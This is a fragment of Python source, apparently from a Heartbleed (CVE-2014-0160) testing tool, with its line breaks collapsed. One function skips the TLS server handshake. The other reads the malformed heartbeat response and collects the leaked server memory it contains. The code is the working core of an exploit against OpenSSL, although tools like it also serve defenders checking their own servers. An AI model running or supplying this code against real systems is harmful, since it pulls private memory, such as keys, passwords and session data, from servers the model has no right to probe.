def skip_server_handshake(sock, timeout): end_time = time.time() + timeout hs_struct = struct.Struct(b'!BBH') for i in range(0, 5): record, error = read_record(sock, timeout) timeout = end_time - time.time() if not record: raise Failure('Unexpected server handshake! ' + str(error)) content_type, sslver_num, fragment = record if content_type != 22: raise Failure('Expected handshake type, got ' + str(content_type)) sslver = '{0:02x} {1:02x}'.format(sslver_num >> 8, sslver_num & 0xFF) off = 0 # Records may consist of multiple handshake messages while off + hs_struct.size <= len(fragment): hs_type, len_high, len_low = hs_struct.unpack_from(fragment, off) if off + len_low > len(fragment): raise Failure('Illegal handshake length!') off += hs_struct.size + len_low # Server handshake is complete after ServerHelloDone if hs_type == 14: # Ready to check for vulnerability return sslver raise Failure('Too many handshake messages')
def read_hb_response(sock, timeout): end_time = time.time() + timeout memory = bytearray() hb_len = 1 # Will be initialized after first heartbeat read_error = None alert = None while len(memory) < hb_len and timeout > 0: record, read_error = read_record(sock, timeout, partial=True) if not record: break record_type, _, fragment = record if record_type == 24: if not memory: # First Heartbeat # Check for enough room for type + len if len(fragment) < 3: if read_error: # Ignore error due to partial read break raise Failure('Response too small') # Sanity check, should not happen with OpenSSL if fragment[0:1] != b'\2': raise Failure('Expected Heartbeat in first response') hb_len, = struct.unpack_from(b'!H', fragment, 1) memory += fragment[3:] else: # Heartbeat continuation memory += fragment elif record_type == 21 and len(fragment) == 2: # Alert alert = fragment break else: # Cannot tell whether vulnerable or not! raise Failure('Unexpected record type {0}'.format(record_type)) timeout = end_time - time.time() # Drop heartbeat padding that is included in buffer if len(memory) - 16 == hb_len: del memory[hb_len:] # Check for Alert (sent by NSS) if alert: lvl, desc = alert[0:1], ord(alert[1:2]) lvl = 'Warning' if lvl == 1 else 'Fatal' print('Got Alert, level={0}, description={1}'.format(lvl, desc)) if not memory: print('Not vulnerable! (Heartbeats disabled or not OpenSSL)') return None # Do not print error if we have memory, server could be crashed, etc. if read_error and not memory: print('Did not receive heartbeat response! ' + str(read_error)) return memory